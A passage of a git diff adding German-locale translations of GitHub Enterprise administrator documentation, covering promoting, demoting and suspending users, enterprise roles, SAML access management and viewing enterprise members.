+  ![Schaltfläche zum Hinzufügen eines Administrators](/assets/images/help/business-accounts/business-account-add-admin-button.png)
+6. Gib im Suchfeld den Namen des Benutzers ein, und klicke auf **Hinzufügen**.
+  ![Suchfeld zum Hinzufügen eines Administrators](/assets/images/help/business-accounts/business-account-search-to-add-admin.png)
+
+## Websiteadministrator über die Enterprise-Einstellungen zurückstufen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
+1. Gib in der oberen linken Ecke der Seite im Suchfeld „Find an administrator“ (Administrator suchen) den Benutzernamen der Person ein, die du zurückstufen möchtest.
+  ![Suchfeld zum Suchen eines Administrators](/assets/images/help/business-accounts/business-account-search-for-admin.png)
+
+1. Suche in den Suchergebnissen nach dem Benutzernamen der Person, die herabgestuft werden soll. Wähle anschließend im {% octicon "gear" %}-Dropdownmenü **Besitzer entfernen** aus.
+  ![Option „Aus Unternehmen entfernen“](/assets/images/help/business-accounts/demote-admin-button.png)
+
+## Benutzer an der Befehlszeile hochstufen
+
+1. Stelle eine [SSH](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)-Verbindung mit deiner Appliance her.
+2. Führe zum Hochstufen [ghe-user-promote](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-promote) mit dem Benutzernamen aus.
+  ```shell
+  $ ghe-user-promote <em>username</em>
+  ```
+
+## Websiteadministrator an der Befehlszeile zurückstufen
+
+1. Stelle eine [SSH](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)-Verbindung mit deiner Appliance her.
+2. Führe zum Herabstufen [ghe-user-demote](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-demote) mit dem Benutzernamen aus.
+  ```shell
+  $ ghe-user-demote <em>username</em>
+  ```
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
new file mode 100644
index 0000000000..abdb0dec47
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
@@ -0,0 +1,32 @@
+---
+title: Beitragsdaten erneut erstellen
+intro: 'Es ist ggf. erforderlich, Beitragsdaten neu zu erstellen, um vorhandene Commits mit einem Benutzerkonto zu verknüpfen.'
+redirect_from:
+  - /enterprise/admin/articles/rebuilding-contributions-data
+  - /enterprise/admin/user-management/rebuilding-contributions-data
+  - /admin/user-management/rebuilding-contributions-data
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Repositories
+  - User account
+shortTitle: Rebuild contributions
+ms.openlocfilehash: 66a4aff597be725eb06dd4c8743ee2ad8691c7e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104704'
+---
+Wenn ein Commit per Push-Vorgang an {% data variables.product.prodname_enterprise %} übertragen wird, wird er mit einem Benutzerkonto verknüpft, sofern sie beide derselben E-Mail-Adresse zugeordnet sind. Vorhandene Commits werden jedoch *nicht* retroaktiv verknüpft, wenn ein Benutzer eine neue E-Mail-Adresse registriert oder ein neues Konto erstellt.
+
+1. Besuche die Profilseite des Benutzers.
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+3. Klicke links auf der Seite auf **Administrator**. ![Registerkarte „Administrator“](/assets/images/enterprise/site-admin-settings/admin-tab.png)
+4. Klicke unter **Beitragsdaten** auf **Neu erstellen**.
+![Schaltfläche „Neu erstellen“](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
+
+{% data variables.product.prodname_enterprise %} startet nun Hintergrundaufträge, um Commits mit dem Konto dieses Benutzers neu zu verknüpfen.
+  ![In die Warteschlange eingereihte Neuerstellungsaufträge](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md
new file mode 100644
index 0000000000..2edcda32f0
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md
@@ -0,0 +1,37 @@
+---
+title: Entfernen eines Mitglieds aus deinem Unternehmen
+intro: Du kannst ein Mitglied aus allen Organisationen deines Unternehmens entfernen.
+permissions: Enterprise owners can remove an enterprise member from the enterprise.
+versions:
+  feature: remove-enterprise-members
+type: how_to
+topics:
+  - Enterprise
+shortTitle: Remove member
+ms.openlocfilehash: c3090cd49c2c2e8089093dc01ddeb7b69ae39416
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147717989'
+---
+## Informationen zum Entfernen von Unternehmensmitgliedern
+
+Wenn du ein Unternehmensmitglied aus deinem Unternehmen entfernst, wird das Mitglied aus allen Organisationen entfernt, die zu deinem Unternehmen gehören.
+
+Wenn das Unternehmensmitglied, das du entfernst, der letzte Besitzer einer Organisation ist, die zu deinem Unternehmen gehört, wirst du Besitzer dieser Organisation.
+
+Wenn dein Unternehmen oder eine der Organisationen, die zu deinem Unternehmens gehören, einen Identitätsanbieter zum Verwalten der Organisationsmitgliedschaft verwendet, kann es vorkommen, dass das Mitglied durch den Identitätsanbieter wieder zur Organisation hinzugefügt wird. Stelle sicher, dass du ggf. erforderliche Änderungen auch in deinem Identitätsanbieter vornimmst.
+
+## Entfernen eines Mitglieds aus deinem Unternehmen
+
+{% note %}
+
+**Hinweis:** Wenn ein Unternehmensmitglied nur {% data variables.product.prodname_ghe_server %} und nicht {% data variables.product.prodname_ghe_cloud %} verwendet, kann das Unternehmensmitglied nicht auf diese Weise entfernt werden.
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
+1. Wähle rechts neben der Person, die du entfernen möchtest, das Dropdownmenü {% octicon "gear" aria-label="The gear icon" %} aus, und klicke auf **Aus Unternehmen entfernen**.
+
+   ![Screenshot: Option „Aus Unternehmen entfernen“ für ein Unternehmensmitglied](/assets/images/help/business-accounts/remove-member.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
new file mode 100644
index 0000000000..4d73912924
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -0,0 +1,82 @@
+---
+title: Rollen in einem Unternehmen
+intro: 'Jeder in einem Unternehmen ist Mitglied des Unternehmens. Um den Zugriff auf die Einstellungen und Daten deines Unternehmens zu steuern, kannst du unterschiedliche Rollen für Mitglieder deines Unternehmens zuweisen.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
+  - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
+  - /articles/permission-levels-for-a-business-account
+  - /articles/roles-for-an-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+ms.openlocfilehash: 10787e2326f2bb3c4768c5e499d445f65cf9e57d
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '146178455'
+---
+## Informationen zu Rollen in einem Unternehmen
+
+Jeder in einem Unternehmen ist Mitglied des Unternehmens. Du kannst Mitgliedern deines Unternehmens auch Administratorrollen zuweisen. Die einzelnen Administratorrollen sind spezifischen Geschäftsfunktionen zugeordnet und beinhalten Berechtigungen für bestimmte Aufgaben innerhalb des Unternehmens.
+
+{% data reusables.enterprise-accounts.enterprise-administrators %}
+
+{% ifversion ghec %} Wenn {% data variables.product.prodname_emus %} in deinem Unternehmen nicht verwendet werden, kannst du eine Person anhand eines von ihr gesteuerten Benutzerkontos auf {% data variables.product.product_name %} zu einer Administratorrolle einladen. Weitere Informationen findest du unter [Einladen von Personen zum Verwalten deines Unternehmens](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise).
+
+In einem Unternehmen mit {% data variables.product.prodname_emus %} müssen neue Besitzer*innen und Mitglieder über deinen Identitätsanbieter bereitgestellt werden. Unternehmensbesitzer und Organisationsbesitzer können dem Unternehmen keine neuen Mitglieder oder Besitzer über {% data variables.product.prodname_dotcom %} hinzufügen. Du kannst die Unternehmensrolle eines Mitglieds mithilfe deines IdP auswählen, und sie kann nicht auf {% data variables.product.prodname_dotcom %} geändert werden. Du kannst die Rolle eines Mitglieds in einer Organisation auf {% data variables.product.prodname_dotcom %} auswählen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users).
+{% else %} Weitere Informationen zum Hinzufügen von Personen zu deinem Unternehmen findest du unter [Authentifizierung](/admin/authentication).
+
+{% endif %}
+
+## Unternehmensbesitzer
+
+Unternehmensbesitzer haben vollständige Kontrolle über das Unternehmen und können jede Aktion durchführen. Hierzu gehören folgende Aufgaben:
+- Administratoren verwalten
+- {% ifversion ghec %}Hinzufügen und Entfernen von{% elsif ghae or ghes %}Verwalten von{% endif %} Organisationen {% ifversion ghec %}zu bzw. aus{% elsif ghae or ghes %}in{% endif %} einem Unternehmen{% ifversion remove-enterprise-members %}
+- Entfernen von Unternehmensmitgliedern aus allen Organisationen im Besitz des Unternehmens{% endif %}
+- Enterprise-Einstellungen verwalten
+- Organisationsübergreifendes Erzwingen von Richtlinien {% ifversion ghec %}- Verwalten von Abrechnungseinstellungen{% endif %}
+
+{% ifversion enterprise-owner-join-org %} Unternehmensinhaber*innen verfügen standardmäßig nicht über Zugriff auf Organisationseinstellungen oder Inhalte. Um Zugriff zu erhalten, können Unternehmensbesitzer einer beliebigen Organisation beitreten, die ihrem Unternehmen gehört. Weitere Informationen findest du unter [Verwalten deiner Rolle in einer Organisation im Besitz deines Unternehmens](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise).
+
+Besitzer von Organisationen in deinem Unternehmen haben nur dann Zugriff auf das Unternehmen selbst, wenn du sie als Unternehmensbesitzer festlegst.
+{% else %} Unternehmensbesitzer können nur dann auf Organisationseinstellungen oder -inhalte zugreifen, wenn sie als Organisationsbesitzer festgelegt werden oder wenn ihnen direkter Zugriff auf das Repository einer Organisation erteilt wird. Ebenso haben Besitzer von Organisationen in deinem Unternehmen nur dann Zugriff auf das Unternehmen selbst, wenn du sie als Unternehmensbesitzer festlegst.
+{% endif %}
+
+Ein Unternehmensbesitzer verwendet nur dann eine Lizenz, wenn er Besitzer oder Mitglied von mindestens einer Organisation innerhalb des Unternehmens ist. Auch wenn ein Unternehmensbesitzer in mehreren Organisationen über eine Rolle verfügt, verbraucht er nur eine einzige Lizenz. {% ifversion ghec %}Unternehmensinhaber*innen müssen über ein persönliches Konto auf {% data variables.product.prodname_dotcom %} verfügen.{% endif %} Als bewährte Methode empfehlen wir, nur wenige Personen in deinem Unternehmen als Unternehmensinhaber*in festzulegen, um das Risiko für dein Unternehmen zu verringern.
+
+## Enterprise-Mitglieder
+
+Mitglieder von Organisationen im Besitz deines Unternehmens sind automatisch auch Mitglieder des Unternehmens. Mitglieder können in Organisationen zusammenarbeiten und Organisationsbesitzer sein, sie können jedoch nicht auf Unternehmenseinstellungen zugreifen oder diese konfigurieren{% ifversion ghec %}, auch nicht die Abrechnungseinstellungen{% endif %}.
+
+Personen in deinem Unternehmen können über unterschiedliche Zugriffsebenen für die einzelnen Organisationen im Besitz deines Unternehmens und die Repositorys innerhalb dieser Organisationen verfügen. Du kannst anzeigen, auf welche Ressourcen die einzelnen Personen Zugriff haben. Weitere Informationen findest du unter [Anzeigen von Personen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise).
+
+Weitere Informationen zu Berechtigungen auf Organisationsebene findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+Externe Mitarbeiter*innen mit Zugriff auf Repositorys im Besitz deiner Organisation werden ebenfalls auf der Registerkarte „Personen“ deines Unternehmens aufgeführt, sind jedoch keine Unternehmensmitglieder und haben keinerlei Zugriff auf das Unternehmen. Weitere Informationen zu externen Mitarbeitern findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).
+
+{% ifversion ghec %}
+
+## Abrechnungsmanager
+
+Abrechnungsmanager*innen haben lediglich Zugriff auf die Abrechnungseinstellungen deines Unternehmens. Abrechnungsmanager*innen für dein Unternehmen können folgende Aufgaben durchführen:
+- Benutzerlizenzen, {% data variables.large_files.product_name_short %}-Pakete und andere Abrechnungseinstellungen anzeigen und verwalten
+- Liste der Abrechnungsmanager anzeigen
+- Andere Abrechnungsmanager hinzufügen oder entfernen
+
+Abrechnungsmanager verbrauchen nur dann eine Lizenz, wenn sie Besitzer oder Mitglied von mindestens einer Organisation innerhalb des Unternehmens ist. Abrechnungsmanager*innen haben keinen Zugriff auf die Organisationen und Repositorys in deinem Unternehmen. Du kannst auch keine Unternehmensinhaber*innen hinzufügen oder entfernen. Abrechnungsmanager müssen über ein persönliches Konto auf {% data variables.product.prodname_dotcom %} verfügen.
+
+## Informationen zu Supportberechtigungen
+
+{% data reusables.enterprise-accounts.support-entitlements %}
+
+## Weiterführende Themen
+
+- [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts)
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
new file mode 100644
index 0000000000..46f9801fb1
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
@@ -0,0 +1,103 @@
+---
+title: Suspending and unsuspending users
+redirect_from:
+  - /enterprise/admin/articles/suspending-a-user
+  - /enterprise/admin/articles/unsuspending-a-user
+  - /enterprise/admin/articles/viewing-suspended-users
+  - /enterprise/admin/articles/suspended-users
+  - /enterprise/admin/articles/suspending-and-unsuspending-users
+  - /enterprise/admin/user-management/suspending-and-unsuspending-users
+  - /admin/user-management/suspending-and-unsuspending-users
+intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.location.product_location %}.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Access management
+  - Enterprise
+  - Security
+  - User account
+shortTitle: Manage user suspension
+---
+If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code.
+
+When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error:
+
+```shell
+$ git clone git@[hostname]:john-doe/test-repo.git
+Cloning into 'test-repo'...
+ERROR: Your account is suspended. Please check with your installation administrator.
+fatal: The remote end hung up unexpectedly
+```
+
+Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)."
+
+{% tip %}
+
+**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.location.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled.
+
+{% endtip %}
+
+## Suspending a user from the user admin dashboard
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.search-user %}
+{% data reusables.enterprise_site_admin_settings.click-user %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+5. Under "Account suspension," in the red Danger Zone box, click **Suspend**.
+![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png)
+6. Provide a reason to suspend the user.
+![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png)
+
+## Unsuspending a user from the user admin dashboard
+
+As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+3. In the left sidebar, click **Suspended users**.
+![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png)
+2. Click the name of the user account that you would like to unsuspend.
+![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png)
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**.
+![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png)
+5. Provide a reason to unsuspend the user.
+![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png)
+
+## Suspending a user from the command line
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. Run [ghe-user-suspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend.
+  ```shell
+  $ ghe-user-suspend USERNAME
+  ```
+
+## Creating a custom message for suspended users
+
+You can create a custom message that suspended users will see when attempting to sign in.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.messages-tab %}
+5. Click **Add message**.
+![Add message](/assets/images/enterprise/site-admin-settings/add-message.png)
+6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message.
+![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png)
+7. Click the **Preview** button under the **Suspended user message** field to see the rendered message.
+![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png)
+8. Review the rendered message.
+![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png)
+{% data reusables.enterprise_site_admin_settings.save-changes %}
+
+## Unsuspending a user from the command line
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. Run [ghe-user-unsuspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend.
+  ```shell
+  $ ghe-user-unsuspend USERNAME
+  ```
+
+## Further reading
+- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)"
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
new file mode 100644
index 0000000000..39a210fec7
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -0,0 +1,61 @@
+---
+title: Viewing and managing a user's SAML access to your enterprise
+intro: 'You can view and revoke an enterprise member''s linked identity, active sessions, and authorized credentials.'
+permissions: Enterprise owners can view and manage a member's SAML access to an organization.
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise
+versions:
+  ghec: '*'
+topics:
+  - Enterprise
+shortTitle: View & manage SAML access
+---
+## About SAML access to your enterprise account
+
+When you enable SAML single sign-on for your enterprise account, each enterprise member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %}
+
+If your enterprise is uses {% data variables.product.prodname_emus %}, your members will use accounts provisioned through your IdP. {% data variables.enterprise.prodname_managed_users_caps %} will not use their existing user account on {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+
+## Viewing and revoking a linked identity
+
+{% data reusables.saml.about-linked-identities %}
+
+If your enterprise uses {% data variables.product.prodname_emus %}, you will not be able to deprovision or remove user accounts from the enterprise on {% data variables.product.product_name %}. Any changes you need to make to your enterprise's {% data variables.enterprise.prodname_managed_users %} should be made through your IdP.
+
+{% data reusables.identity-and-permissions.revoking-identity-team-sync %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+{% data reusables.saml.click-person-revoke-identity %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-sso-identity %}
+{% data reusables.saml.revoke-sso-identity %}
+{% data reusables.saml.confirm-revoke-identity %}
+
+## Viewing and revoking an active SAML session
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+{% data reusables.saml.click-person-revoke-session %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-saml-sessions %}
+{% data reusables.saml.revoke-saml-session %}
+
+## Viewing and revoking authorized credentials
+
+{% data reusables.saml.about-authorized-credentials %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+{% data reusables.saml.click-person-revoke-credentials %}
+{% data reusables.saml.saml-identity-linked %}
+{% data reusables.saml.view-authorized-credentials %}
+{% data reusables.saml.revoke-authorized-credentials %}
+{% data reusables.saml.confirm-revoke-credentials %}
+
+## Further reading
+
+- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
new file mode 100644
index 0000000000..7d70d6d397
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -0,0 +1,160 @@
+---
+title: Viewing people in your enterprise
+intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.'
+permissions: Enterprise owners can view the people in an enterprise.
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
+  - /articles/viewing-people-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/viewing-people-in-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+shortTitle: View people in your enterprise
+---
+
+## About the list of people in your enterprise
+
+To audit access to your enterprise's resources and manage license usage, you can see a list of all the people who have access to your enterprise. 
+
+You can see all current enterprise members and enterprise administrators{% ifversion ghec %}, as well as pending invitations to become members and administrators{% endif %}. To make it easier to consume this information, you can search and filter the lists.
+
+{% ifversion ghec %}
+
+If {% data variables.product.prodname_github_connect %} is configured for your enterprise, when you filter a list of people in your enterprise, the following limitations apply.
+
+- The filter for two-factor authentication (2FA) status does not show people who only have an account on a {% data variables.product.prodname_ghe_server %} instance.
+- If you combine the filter for accounts on {% data variables.product.prodname_ghe_server %} instances with either the filter for organizations or 2FA status, you will not see any results.
+
+For more information about {% data variables.product.prodname_github_connect %}, see the following articles.
+
+- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation
+- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation
+
+{% endif %}
+
+{% ifversion enterprise-member-csv %}
+You can also export membership information for your enterprise. For more information, see "[Exporting membership information for your enterprise](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)."
+{% endif %}
+
+## Viewing enterprise administrators
+
+You can view all the current enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise.{% ifversion enterprise-membership-view-improvements %} You can see useful information about each administrator{% ifversion ghec %} and filter the list by role{% endif %}.{% endif %} You can find a specific person by searching for their username or display name.
+
+{% ifversion ghes > 3.5 %}
+Enterprise owners whose accounts are suspended are included in the list of enterprise administrators, and are identified as suspended. You should consider demoting any suspended owners you see. For more information, see "[Promoting or demoting a site administrator](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#demoting-a-site-administrator-from-the-enterprise-settings)."
+{% endif %}
+
+{% ifversion not ghae %}
+You can also remove an administrator. For more information. see "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#removing-an-enterprise-administrator-from-your-enterprise-account)."
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+{% data reusables.enterprise-accounts.administrators-tab %}
+
+## Viewing members {% ifversion enterprise-membership-view-improvements %}{% else %}and outside collaborators{% endif %}
+
+You can see all the current members {% ifversion enterprise-membership-view-improvements %}{% else %}or outside collaborators{% endif %} for your enterprise. You can see useful information about each account and filter the list in useful ways, such as by role. You can find a specific person by searching for their username or display name.
+
+You can view more information about the person's access to your enterprise, such as the organizations the person belongs to, by clicking on the person's name.
+
+{% ifversion remove-enterprise-members %}
+You can also remove any enterprise member from all organizations owned by the enterprise. For more information, see "[Removing a member from your enterprise](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise)."
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}{% ifversion enterprise-membership-view-improvements %}{% else %}
+1. Optionally, to view a list of outside collaborators rather than the list of members, click **Outside collaborators**.
+
+   ![Outside collaborators tab on the enterprise members page](/assets/images/help/business-accounts/outside-collaborators-tab.png){% endif %}
+
+{% ifversion enterprise-membership-view-improvements %}
+## Viewing outside collaborators
+
+You can see all the current outside collaborators for your enterprise. You can see useful information about each collaborator and filter the list in useful ways, such as by organization. You can find a specific collaborator by searching for their username or display name.
+
+You can view more information about the person's access to your enterprise, such as a list of all the repositories the collaborator has access to, by clicking on the person's name.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+1. Under "People", click **Outside collaborators**.
+
+  ![Outside collaborators tab in the enterprise settings sidebar]{% ifversion ghec%}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% else %}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% endif %}
+  
+{% endif %}
+
+{% ifversion ghec %}
+## Viewing pending invitations
+
+You can see all the pending invitations to become members, administrators, or outside collaborators in your enterprise. You can filter the list in useful ways, such as by organization. You can find a specific person by searching for their username or display name.
+
+In the list of pending members, for any individual account, you can cancel all invitations to join organizations owned by your enterprise. This does not cancel any invitations for that same person to become an enterprise administrator or outside collaborator. 
+
+{% note %}
+
+**Note:** If an invitation was provisioned via SCIM, you must cancel the invitation via your identity provider (IdP) instead of on {% data variables.product.prodname_dotcom %}.
+
+{% endnote %}
+
+If you use {% data variables.visual_studio.prodname_vss_ghe %}, the list of pending invitations includes all {% data variables.product.prodname_vs %} subscribers that haven't joined any of your organizations on {% data variables.product.prodname_dotcom %}, even if the subscriber does not have a pending invitation to join an organization. For more information about how to get {% data variables.product.prodname_vs %} subscribers access to {% data variables.product.prodname_enterprise %}, see "[Setting up {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+1. Under "People", click **Pending invitations**.
+
+   ![Screenshot of the "Pending invitations" tab in the sidebar](/assets/images/help/enterprises/pending-invitations-tab.png)
+1. Optionally, to cancel all invitations for an account to join organizations owned by your enterprise, to the right of the account, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Cancel invitation**.
+
+   ![Screenshot of the "Cancel invitation" button](/assets/images/help/enterprises/cancel-enterprise-member-invitation.png)
+1. Optionally, to view pending invitations for enterprise administrators or outside collaborators, under "Pending members", click **Administrators** or **Outside collaborators**.
+
+   ![Screenshot of the "Members", "Administrators", and "Outside collaborators" tabs](/assets/images/help/enterprises/pending-invitations-type-tabs.png)
+
+## Viewing suspended members in an {% data variables.enterprise.prodname_emu_enterprise %}
+
+If your enterprise uses {% data variables.product.prodname_emus %}, you can view suspended users. Suspended users are members who have been deprovisioned after being unassigned from the {% data variables.product.prodname_emu_idp_application %} application or deleted from the identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.people-tab %}
+1. To view a list of suspended members, above the list of active members, click **Suspended**.
+  ![Screenshot showing "Suspended" option](/assets/images/help/enterprises/view-suspended-members.png)
+
+{% endif %}
+
+## Viewing dormant users
+
